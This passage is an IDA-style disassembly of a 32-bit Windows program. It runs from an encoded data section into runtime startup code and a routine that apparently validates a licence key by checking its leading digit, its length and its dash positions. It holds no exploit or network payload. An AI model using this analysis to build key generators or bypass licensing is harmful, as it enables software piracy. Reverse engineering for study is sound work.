6440944h, 0F044FE44h, 0E044EF44h dd 0C844DE44h, 0BD44BA44h, 9B44AC44h, 94449D44h, 72448544h dd 4B456B45h, 33454745h, 26453445h, 0D451945h, 0EF45F345h dd 0DA45E045h, 0AE45C445h, 8A45A045h, 7A458C45h, 7AFA7A7Ah dd 7A786A7Ah, 724A787Ah, 5A4A744Ah, 384A4A4Ah, 0F94A334Ah dd 0DC4AE94Ah, 0BF4AC34Ah, 734A994Ah, 5E4B6C4Bh, 484B504Bh dd 194B264Bh, 0F94B024Bh, 0CB4BD14Bh, 0AA4BBF4Bh, 874B8D4Bh dd 6348734Bh, 53485B48h, 30484A48h, 480A48h, 0EE48FC48h dd 0D048D948h, 0A248A848h, 91489848h, 79488E48h, 62497349h dd 3E495B49h, 20493449h, 2491249h, 0D049E449h, 0C749CA49h dd 0AA49BD49h, 9749A149h, 68498D49h, 384E424Eh, 244E2A4Eh dd 0E24E0A4Eh, 0D14EE54Eh, 0BA4ECD4Eh, 0A74EB14Eh aNyouoaosojoO7o db 'NyOuOaOSOJO>O7O',0Ah db 'O',0 dw 0F94Fh dd 0E24FF44Fh, 0CE4FD84Fh, 0B84FC64Fh, 794FA74Fh, 694C764Ch dd 544C654Ch, 3C4C4E4Ch, 84C374Ch, 0FE4C014Ch, 0E34CF04Ch dd 0D44CE54Ch, 0B34CBA4Ch, 8C4C964Ch, 764D784Ch, 564D604Dh dd 204D4F4Dh, 164D1B4Dh, 44D0F4Dh, 0EB4DF24Dh, 0D44DE34Dh dd 0BF4DCE4Dh, 0A14DB14Dh, 8B4D9B4Dh, 77427D4Dh, 54426842h dd 37424342h, 27422842h, 0C7421242h, 0A742B942h, 72428A42h dd 66437443h, 30433943h, 2431743h, 0B743BC43h, 6243AF43h dd 4A405A40h, 29403740h, 4401E40h, 0F640FF40h, 0ED40E840h dd 0D740DD40h, 0BD40C040h, 0A740B740h, 93409940h, 85408F40h dd 63417C40h, 51415C41h, 4D414A41h, 33413841h, 21412C41h dd 11411841h, 5410841h, 0F041FF41h, 0CC41D941h, 0A141A941h dd 95419D41h, 51466041h, 17464946h, 0CC46D346h, 0B746C746h dd 22469646h, 0FD470B47h, 0DC47F747h, 0B847C647h, 0AF47B547h dd 8B479347h, 6F447047h, 5D446444h, 22442844h, 14442544h dd 0FF440E44h, 0DD44F144h, 0AA44B044h, 0A644AF44h, 88449644h dd 71448444h, 61456F45h, 56455C45h, 30454C45h, 20452A45h dd 0FB451745h, 0D045DE45h, 0C745D545h, 0B545B945h, 9B45A145h dd 8B459145h, 7A458745h, 7AEA7A7Ah, 7A783A7Ah, 634A7F7Ah dd 534A654Ah, 2A4A464Ah, 34A094Ah, 0F74A044Ah, 0CC4AE94Ah dd 0B54AC74Ah, 584B664Ah, 0B64BEF4Bh, 0A74BA24Bh, 824B974Bh dd 6A48704Bh, 65486048h, 3E484448h, 24482248h, 1481248h dd 0D948F548h, 0CC48D348h, 0AF48B548h, 8A489348h, 72497848h dd 43496449h, 2F494549h, 0C490A49h, 0DD49F649h, 0BA49D749h dd 9B49A149h, 89499349h, 5A4E6349h, 3A4E414Eh, 1B4E294Eh dd 0F64EFE4Eh, 0C54EE94Eh, 9D4E9B4Eh, 804E964Eh, 6D4F7B4Eh dd 544F594Fh, 3B4F424Fh, 284F3D4Fh, 134F224Fh, 34F094Fh dd 0DF4FFE4Fh, 0C44FC24Fh, 9A4FA24Fh, 8B4F914Fh, 7D4F814Fh dd 654C6A4Ch, 3A4C574Ch, 234C3D4Ch, 154C1F4Ch, 0F44CF24Ch dd 0CC4CE34Ch, 824CAC4Ch, 764D784Ch, 564D694Dh, 234D484Dh dd 94D134Dh, 0FA4D034Dh, 0E04DF74Dh, 0C84DDF4Dh, 0AF4DC24Dh dd 9D4D984Dh, 884D964Dh, 784D814Dh, 6E427542h, 5F426342h dd 4A425142h, 3B424F42h, 36423D42h, 27422B42h, 12421942h dd 3421742h, 0FE420542h, 0EF42F342h, 0DA42E142h, 0CE42DF42h dd 0C542C042h, 0AE42BD42h, 9A42A342h, 8A429342h, 78428742h dd 6D437D43h, 56436643h, 3B434B43h, 2C433C43h, 11432143h dd 0FA430A43h, 0EF43FF43h, 0D043E043h, 0C543D543h, 0AE43BE43h dd 9343A343h, 84439443h, 69407943h, 52406240h, 47405740h dd 28403840h, 1D402D40h, 6401640h, 0EB40FB40h, 0DC40EC40h dd 0C140D140h, 0AA40BA40h, 9F40AF40h, 7A409040h, 4D415341h dd 2F413541h, 0A411F41h, 0D841EF41h, 0AD41AB41h, 83419941h dd 6E467D41h, 42465046h, 36464446h, 9462846h, 0D746E546h dd 0BF46C946h, 9E46B646h, 71468B46h, 4B476B47h, 38474D47h dd 16471E47h, 0F3470647h, 0EC47EA47h, 0AB47C047h, 97479D47h dd 77447B47h, 5B446844h, 22444944h, 0D6441E44h, 0AA44C244h dd 9244A044h, 83449444h, 74457A44h, 50456645h, 36454245h dd 19452945h, 0F451345h, 0F3450145h, 0E445EE45h, 92459945h dd 86459445h, 7ADA7A45h, 7A780A7Ah, 664A6A7Ah, 444A434Ah dd 1B4A2C4Ah, 0FD4A014Ah, 0CC4ACB4Ah, 0B44AB34Ah, 7C4A944Ah dd 634B694Bh, 544B5D4Bh, 1A4B284Bh, 4B1C4Bh, 0E64BEA4Bh dd 0C74BCA4Bh, 0AC4BB54Bh, 754B894Bh, 2E484F48h, 16481948h dd 0FB480E48h, 0F148FC48h, 0E148EE48h, 0D748D248h, 0C548C848h dd 0B048BF48h, 71488748h, 53496249h, 44494C49h, 0B491949h dd 0FB490C49h, 0E849F649h, 0B949C449h, 9049A649h, 78498149h dd 5B4E694Eh, 494E5C4Eh, 284E384Eh, 0E64EF04Eh, 0BA4ECA4Eh dd 854E824Eh, 5D4F6C4Eh, 404F574Fh, 304F3A4Fh, 204F294Fh dd 144F124Fh, 74F0D4Fh, 0EB4FF04Fh, 0E74FED4Fh, 0CA4FD34Fh dd 0C74FCD4Fh, 0AA4FB94Fh, 984FAC4Fh, 884F964Fh, 7C4F814Fh dd 624C764Ch, 5C4C654Ch, 424C564Ch, 3F4C454Ch, 234C364Ch dd 1D4C1A4Ch, 14C154Ch, 0F34CF84Ch, 0E64CF54Ch, 0D24CD84Ch dd 0C04CD44Ch, 0BD4CBB4Ch, 0AE4CB44Ch, 924C984Ch, 814C944Ch dd 7D4D7B4Ch, 654D6C4Dh, 564D5C4Dh, 464D4F4Dh, 304D394Dh dd 244D2A4Dh, 174D1E4Dh, 54D094Dh, 0C24DFC4Dh, 0A74DBA4Dh dd 864D884Dh, 7442734Dh, 4B425942h, 1A422D42h, 0B421142h dd 0F7420142h, 0E242E842h, 0D942E742h, 0D442D242h, 0C242C942h dd 0B042BE42h, 9B42A142h, 8B429C42h, 75428D42h, 61436F43h dd 5C435A43h, 4B435143h, 3A434C43h, 2B433D43h, 17432643h dd 2430943h, 0F743F843h, 0DE43E443h, 0D543D043h, 0C043CF43h dd 0BF43BA43h, 0AE43B043h, 9043A443h, 82438A43h, 79438743h dd 5B406140h, 38404240h, 22402940h, 11401F40h, 0FE400440h dd 0D640E940h, 0BF40C240h, 0A940B140h, 88409240h, 6E408040h dd 33415A41h, 0FA411E41h, 0DA41FC41h, 0CF41D741h, 0B441BE41h dd 0A241A941h, 9241A541h, 8F419441h, 6C467341h, 4C465846h dd 16464646h, 5460346h, 0DD46E946h, 0C046D746h, 9B46B646h dd 4C469646h, 1D473247h, 0FA470A47h, 0EC47FD47h, 0D347DB47h dd 0B547BC47h, 9E47AC47h, 83479447h, 32447647h, 20443444h dd 13441944h, 0F1440744h, 0ED44EA44h, 0D544D244h, 0BF44C644h dd 0A944B644h, 9D449B44h, 8D448B44h, 5E456D44h, 1D452A45h dd 0E2450145h, 8B45D245h, 7ACA7A45h, 7A7BA27Ah, 724A7B7Ah dd 4F4A654Ah, 0FD4A044Ah, 0D24AE64Ah, 994ACD4Ah, 844A934Ah dd 514B6E4Ah, 444B4D4Bh, 0B4B214Bh, 0EE4B074Bh, 0CF4BD04Bh dd 0AF4BC14Bh, 5048764Bh, 3B484F48h, 1B483D48h, 0E6481D48h dd 0BC48C048h, 0A648B648h, 7A488C48h, 62497549h, 55495D49h dd 38494649h, 18492D49h, 0FC491349h, 0ED49F449h, 0D349E749h dd 0B049CA49h, 0A049AA49h, 8A499F49h, 7D4E7B49h, 5E4E644Eh dd 414E544Eh, 1E4E3D4Eh, 74E144Eh, 0F04EFE4Eh, 0D64EE54Eh dd 0C14ECC4Eh, 0A74EBB4Eh, 8A4E9E4Eh, 7A4E804Eh, 5A4F774Fh dd 424F534Fh, 1D4F324Fh, 24F174Fh, 0F14F044Fh, 0E24FEB4Fh dd 0BA4FDF4Fh, 6C4F854Fh, 0FD4C4E4Ch, 0E74CEA4Ch, 0C34CDF4Ch dd 0B64CC44Ch, 9F4CA54Ch, 7C4C894Ch, 634D764Dh, 554D594Dh dd 324D4F4Dh, 274D2E4Dh, 94D1D4Dh, 0F24D064Dh, 0E94DF74Dh dd 904DA44Dh, 794D8C4Dh, 63427042h, 56425F42h, 3A424042h dd 18423142h, 17421D42h, 0DA420642h, 0C142D642h, 0AC42B042h dd 7A428B42h, 60437743h, 48435643h, 37433E43h, 19432343h dd 0E643FD43h, 0CA43D343h, 0BC43CC43h, 84439D43h, 53407E43h dd 1E405540h, 0CA40D040h, 0B840C640h, 8D409840h, 49417440h dd 24414341h, 0E411E41h, 0F0410041h, 0DB41EC41h, 0C041D741h dd 0B541BA41h, 9841AF41h, 7D419341h, 67466B46h, 49465946h dd 18464346h, 0FF460846h, 9E46B246h, 68469046h, 30476247h dd 3472A47h, 0DC47E847h, 0B347B947h, 7F47A147h, 6B447144h dd 11442144h, 0E244FE44h, 0D244D844h, 0AE44C744h, 7844A044h dd 47457245h, 1B453845h, 0D451445h, 0C545FD45h, 8B45BF45h dd 7ABA7A45h, 7A7B927Ah, 7C4A7A7Ah, 394A674Ah, 0E74A094Ah dd 0CF4AD24Ah, 994AB24Ah dd 824A884Ah, 444B604Ah, 134B1A4Bh, 0E24BF24Bh, 0C04BCE4Bh dd 9C4BA34Bh, 7B4B814Bh, 6C486A48h, 48485648h, 33483A48h dd 0EE480F48h, 0DD48E748h, 0BE48CB48h, 9C48AB48h, 38488E48h dd 7493149h, 0D949FE49h, 0B549C249h, 8049AF49h, 694E7B49h dd 564E5C4Eh, 0F64E4C4Eh, 0DD4EE94Eh, 0B84ED74Eh, 9B4EA14Eh dd 504E804Eh, 4D4F4A4Fh, 0A4F114Fh, 0CB4F0D4Fh, 0AE4FB44Fh dd 674FA14Fh, 414C584Ch, 194C354Ch, 14C124Ch, 9D4CF54Ch dd 834C974Ch, 5A4D764Ch, 424D5F4Dh, 0FF4D024Dh, 0B44DEB4Dh dd 0A34DAE4Dh, 6C427A4Dh, 50426642h, 39424F42h, 11423142h dd 0FD420842h, 0E342EE42h, 0DE42E442h, 0CE42D742h, 0BC42BB42h dd 0A142B142h, 8A429A42h, 7F428F42h, 60437043h, 55436543h dd 3E434E43h, 23433343h, 14432443h, 0F9430943h, 0E243F243h dd 0D743E743h, 0B843C843h, 0AD43BD43h, 9643A643h, 7E438B43h dd 63406940h, 0EC40F540h, 0C140CE40h, 9440AD40h, 77417F40h dd 49416D41h, 31413941h, 17412141h, 0ED41EB41h, 0CE41E541h dd 0B041BF41h, 0A041AA41h, 97419941h, 7D418C41h, 67467746h dd 50465946h, 44464E46h, 26462C46h, 9461C46h, 0F9460346h dd 0D046EA46h, 0C746CA46h, 0A946BD46h, 9946A346h, 88469146h dd 7D468446h, 6D476A47h, 50475E47h, 4C474A47h, 30473A47h dd 1A472B47h, 0FE471047h, 0DA47F047h, 0BA47DD47h, 9A47BD47h dd 7A479D47h, 67447C44h, 55445044h, 46444C44h, 2A443944h dd 20442F44h, 13441A44h, 6440844h, 0FD44F844h, 0C944E644h dd 0A444BC44h, 73448B44h, 1E457545h, 0F145FF45h, 9845D145h dd 7AAA7A45h, 7A78567Ah, 714A7B7Ah, 464A4C4Ah, 0F14A354Ah dd 0AB4AEF4Ah, 8B4A904Ah, 764A854Ah, 6C4B6B4Bh, 514B5C4Bh dd 434B4A4Bh, 374B3E4Bh, 124B1B4Bh, 64B144Bh, 0F54BFD4Bh dd 0DC4BED4Bh, 0C74BCE4Bh, 0B54BBC4Bh, 9A4BAC4Bh, 894B974Bh dd 794B874Bh, 6B487048h, 59486348h, 4A485048h, 3B484D48h dd 1E483D48h, 0C481148h, 0FC480548h, 0C048E248h, 0AA48BA48h dd 9748A348h, 85488248h, 0E7492748h, 9749B049h, 69498249h dd 0E24E3B4Eh, 0D04EDE4Eh, 0C54EC34Eh, 734EBF4Eh, 424F6A4Fh dd 204F444Fh, 24F084Fh, 0F74FFC4Fh, 0E64FED4Fh, 0DC4FDB4Fh dd 0C94FD64Fh, 0B24FC34Fh, 9C4FB44Fh, 854F834Fh, 654C7C4Fh dd 4F4C514Ch, 394C414Ch, 344C324Ch, 214C2C4Ch, 0F74CF84Ch dd 0D44CE44Ch, 0BF4CC64Ch, 0A04CA84Ch, 824C944Ch, 644D714Ch dd 424D5C4Dh, 334D444Dh, 104D254Dh, 0E84D0B4Dh, 0CC4DE44Dh dd 934DAD4Dh, 854D824Dh, 6B42714Dh, 5A426D42h, 55425F42h dd 2F423642h, 1C421A42h, 0F420A42h, 0F042F942h, 0D342EB42h dd 0C242D542h, 0AF42B442h, 82429342h, 69437642h, 42435143h dd 28434443h, 1E432243h, 2430B43h, 0E443F443h, 0C743DF43h dd 0A343A943h, 9C43A543h, 85438343h, 24402243h, 400E40h dd 0CD40EA40h, 0BD40BA40h, 9340A140h, 7B408A40h, 6F417141h dd 55416141h, 30413A41h, 10412C41h, 0F7410D41h, 0D841EE41h dd 0C341D241h, 0B241C541h, 0A641AC41h, 4C467141h, 1C463446h dd 0DD461646h, 0BF46D646h, 7946B146h, 50477347h, 8472647h dd 0F247F847h, 0E247EB47h, 0D447D247h, 0C747CD47h, 9847B147h dd 86478F47h, 6E447D47h, 5A446344h, 4A445344h, 38444744h dd 29443D44h, 24442344h, 15441944h, 440F44h, 0F1440544h dd 0EC44EB44h, 0DD44E144h, 0C844D744h, 0BC44CD44h, 0AB44B644h dd 42454844h, 30453E45h, 1B452E45h, 0C451745h, 0F7450745h dd 0CD45E745h, 0B645BF45h, 0A545A245h, 80459545h, 7A9A7A45h dd 7A7AB67Ah, 664A7B7Ah, 4E4A544Ah, 324A414Ah, 294A344Ah dd 1D4A274Ah, 0C4A144Ah, 0F54A044Ah, 0CA4AD84Ah, 0B24ACC4Ah dd 0A14AAF4Ah, 8C4A9C4Ah, 714A814Ah, 584B6C4Bh, 484B524Bh dd 394B464Bh, 2F4B354Bh, 1D4B1B4Bh, 0F34B0B4Bh, 0E34BF54Bh dd 0BC4BE44Bh, 0A54BAB4Bh, 914B9F4Bh, 844B8E4Bh, 5748794Bh dd 44484D48h, 2A483F48h, 0D482448h, 0E5480748h, 0A048D648h dd 8D489B48h, 69497748h, 4A495349h, 491049h, 0E749F349h dd 0C949D449h, 0B849C349h, 0A849B349h, 9649AD49h, 78498849h dd 5C4E6E4Eh, 0D04EDB4Eh, 0C04EC94Eh, 874E824Eh, 784F794Eh dd 604C744Ch, 484C5C4Ch, 304C444Ch, 184C2C4Ch, 4C144Ch dd 6BFA7A4Ch, 7A7A3A7Ah, 0D24A7A7Ah, 0CA48D648h, 0C248CE48h dd 0BA48C648h, 0B648B248h, 0AE48AA48h, 0A648A248h, 9E489A48h dd 8A489648h, 82488E48h, 7A488648h, 72497E49h, 1E4E1A49h dd 164E124Eh, 6BDA7A4Eh, 7A7A5A7Ah, 0E24BEE7Ah, 0D64BE64Bh dd 0CE4BCA4Bh, 0C64BC24Bh, 0BE4BBA4Bh, 7A4BB24Bh, 3Eh dup(7A7A7A7Ah) dd 4CBE57Ah, 7A7A7A3Ah, 6BAA527Ah, 3 dup(7A7A7B7Ah), 6BAA4E7Ah dd 6BAA427Ah, 6BAA467Ah, 0B11117Ah, 5425020Ch, 7A16161Eh dd 7A3D177Ah, 6BAA3A7Ah, 7A7A7A7Ah, 1336257Ah, 131B3718h dd 7A4A3A14h, 6Dh dup(7A7A7A7Ah), 7Ah, 24h dup(0) dd 7EB19F00h, 40h, 11D02800h, 3 dup(100h), 11D03400h, 11D03800h dd 11D03C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 476D00h, 11D04000h dd 0 dd 694C5F00h, 69614D62h, 30406Eh, 46h dup(0) dd 3900h dup(?) _data ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 00038000) ; Virtual size : 00116068 (1138792.) ; Section size in file : 0000D684 ( 54916.) ; Offset to raw data for section: 00015A00 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 438000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing mov eax, 1 retn ; --------------------------------------------------------------------------- loc_438006: ; DATA XREF: sub_438026+Ao xor eax, eax inc eax mov ecx, [esp+4] test dword ptr [ecx+4], 6 jz short locret_438025 mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_438025: ; CODE XREF: .text:00438014j retn ; =============== S U B R O U T I N E ======================================= sub_438026 proc near ; CODE XREF: .text:0043814Ep ; .text:0043817Cp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset loc_438006 push large dword ptr fs:0 mov large fs:0, esp loc_438043: ; CODE XREF: sub_438026+44j ; sub_438026+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_438072 cmp esi, [esp+1Ch+arg_4] jz short loc_438072 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_438043 call dword ptr [ebx+esi*4+8] jmp short loc_438043 ; --------------------------------------------------------------------------- loc_438072: ; CODE XREF: sub_438026+2Aj ; sub_438026+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_438026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438080 proc near ; CODE XREF: .text:00438141p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_438098 push [ebp+arg_0] call sub_445618 loc_438098: ; DATA XREF: sub_438080+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_438080 endp ; --------------------------------------------------------------------------- cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_438175 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4380D3: ; CODE XREF: .text:0043816Cj cmp esi, 0FFFFFFFFh jz loc_438184 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_438163 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword_54F034, eax mov edx, [ebp-14h] mov eax, [edx] mov dword_54F038, eax mov eax, [edx+4] mov dword_54F03C, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_54F040 mov esi, dword_54F038 rep movsd lea edi, dword_54F040 mov dword_54F038, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_438163 js short loc_438171 mov edi, [ebx+8] push ebx call sub_438080 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_438026 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_438163: ; CODE XREF: .text:004380E4j ; .text:00438139j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_4380D3 ; --------------------------------------------------------------------------- loc_438171: ; CODE XREF: .text:0043813Bj xor eax, eax jmp short loc_43818E ; --------------------------------------------------------------------------- loc_438175: ; CODE XREF: .text:004380B8j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_438026 add esp, 0Ch loc_438184: ; CODE XREF: .text:004380D6j push 0Bh call sub_445660 add esp, 4 loc_43818E: ; CODE XREF: .text:00438173j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_4381A7 call sub_4381C3 loc_4381A7: ; CODE XREF: .text:004381A0j call sub_4455A3 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, off_54F000 call eax ; sub_445578 pop edi pop esi pop ebx leave retn 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4381C3 proc near ; CODE XREF: .text:004381A2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_445630 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_445630 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_445630 mov [ebp+var_C], eax push (offset aWr+2) push [ebp+var_8] call sub_445624 mov dword_54F008, eax push offset aWr ; "wr" push [ebp+var_4] call sub_445624 mov dword_54F004, eax push offset aWr ; "wr" push [ebp+var_C] call sub_445624 add esp, 30h mov dword_54F00C, eax mov edi, dword_54F004 or edi, edi jz short loc_43823C push 0 push edi call sub_44566C add esp, 8 loc_43823C: ; CODE XREF: sub_4381C3+6Cj mov edi, dword_54F00C or edi, edi jz short loc_438256 push 0 push edi call sub_44566C add esp, 8 call sub_43825C loc_438256: ; CODE XREF: sub_4381C3+81j pop edi leave retn sub_4381C3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43825C proc near ; CODE XREF: sub_4381C3+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_44560C mov ebx, eax mov [ebp+var_10], ebx jmp short loc_438294 ; --------------------------------------------------------------------------- loc_438278: ; CODE XREF: sub_43825C+3Bj cmp byte ptr [ebx], 3Dh jz short loc_438280 inc [ebp+var_C] loc_438280: ; CODE XREF: sub_43825C+1Fj mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_438294: ; CODE XREF: sub_43825C+1Aj cmp byte ptr [ebx], 0 jnz short loc_438278 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_445654 pop ecx mov [ebp+var_8], eax mov dword_54F010, eax cmp [ebp+var_8], 0 jnz short loc_4382C2 xor eax, eax jmp short loc_43831F ; --------------------------------------------------------------------------- loc_4382C2: ; CODE XREF: sub_43825C+60j mov ebx, [ebp+var_10] jmp short loc_43830C ; --------------------------------------------------------------------------- loc_4382C7: ; CODE XREF: sub_43825C+B3j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr [ebx], 3Dh jz short loc_438306 push [ebp+var_4] call sub_445654 pop ecx mov esi, [ebp+var_8] mov [esi], eax or eax, eax jnz short loc_4382F4 jmp short loc_43831F ; --------------------------------------------------------------------------- loc_4382F4: ; CODE XREF: sub_43825C+94j push ebx mov edi, [ebp+var_8] push dword ptr [edi] call sub_445678 add esp, 8 add [ebp+var_8], 4 loc_438306: ; CODE XREF: sub_43825C+82j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43830C: ; CODE XREF: sub_43825C+69j cmp byte ptr [ebx], 0 jnz short loc_4382C7 mov edx, [ebp+var_8] mov dword ptr [edx], 0 mov eax, 1 loc_43831F: ; CODE XREF: sub_43825C+64j ; sub_43825C+96j pop edi pop esi pop ebx leave retn sub_43825C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438324 proc near ; CODE XREF: sub_44296E+C33p var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C6 = byte ptr -2C6h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_253 = byte ptr -253h var_154 = byte ptr -154h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10A = byte ptr -10Ah var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_101 = byte ptr -101h var_FF = byte ptr -0FFh var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_F8 = byte ptr -0F8h var_F7 = byte ptr -0F7h var_F6 = byte ptr -0F6h var_F5 = byte ptr -0F5h var_F3 = byte ptr -0F3h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 324h push ebx push esi push edi cmp [ebp+arg_4], 0 jz loc_439466 mov eax, [ebp+arg_0] mov al, [eax] cmp al, 34h jz short loc_43834B cmp al, 35h jnz loc_439466 loc_43834B: ; CODE XREF: sub_438324+1Dj mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_438353: ; CODE XREF: sub_438324+34j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_438353 mov [ebp+var_128], eax mov edx, dword_54F16C add edx, 4 add edx, dword_54F174 cmp eax, edx jz short loc_438384 mov edx, dword_54F0A4 add edx, 0Ch cmp eax, edx jnz loc_439466 loc_438384: ; CODE XREF: sub_438324+4Dj movsx ebx, word_54F094 sub ebx, 2 jmp short loc_4383B4 ; --------------------------------------------------------------------------- loc_438390: ; CODE XREF: sub_438324+A0j mov eax, 30h mul ebx mov [ebp+var_260], eax mov eax, [ebp+arg_4] mov edx, [ebp+var_260] cmp ds:dword_4CA550[edx], eax jz loc_439466 inc ebx loc_4383B4: ; CODE XREF: sub_438324+6Aj mov eax, dword_54F090 add eax, 5Ch add eax, dword_54F19C cmp ebx, eax jb short loc_438390 mov eax, dword_54F1FC add eax, 13h cmp [ebp+var_128], eax jnz loc_43859A mov eax, [ebp+arg_0] mov al, [eax+0Eh] cmp al, 2Dh jz short loc_4383EC cmp al, 20h jnz loc_439466 loc_4383EC: ; CODE XREF: sub_438324+BEj mov eax, [ebp+arg_0] mov al, [eax+9] cmp al, 2Dh jz short loc_4383FE cmp al, 20h jnz loc_439466 loc_4383FE: ; CODE XREF: sub_438324+D0j mov eax, [ebp+arg_0] mov al, [eax+4] cmp al, 2Dh jz short loc_438410 cmp al, 20h jnz loc_439466 loc_438410: ; CODE XREF: sub_438324+E2j mov eax, dword_54F140 add eax, 0Ch movsx edx, word_54F208 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+11h] mov [ebp+eax+var_FF], dl movsx eax, word_54F144 mov edx, [ebp+arg_0] mov dl, [edx+8] mov [ebp+eax+var_FC], dl mov eax, dword_54F180 mov edx, [ebp+arg_0] mov dl, [edx+0Ah] mov [ebp+eax+var_F7], dl mov eax, dword_54F1DC add eax, 7 movsx edx, word_54F0C4 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+10h] mov [ebp+eax+var_FF], dl mov eax, dword_54F11C add eax, dword_54F170 mov edx, [ebp+arg_0] mov dl, [edx+7] mov [ebp+eax+var_FF], dl mov eax, dword_54F120 mov edx, [ebp+arg_0] mov dl, [edx+0Fh] mov [ebp+eax+var_FB], dl movsx eax, word_54F0A8 mov edx, [ebp+arg_0] mov dl, [edx+0Ch] mov 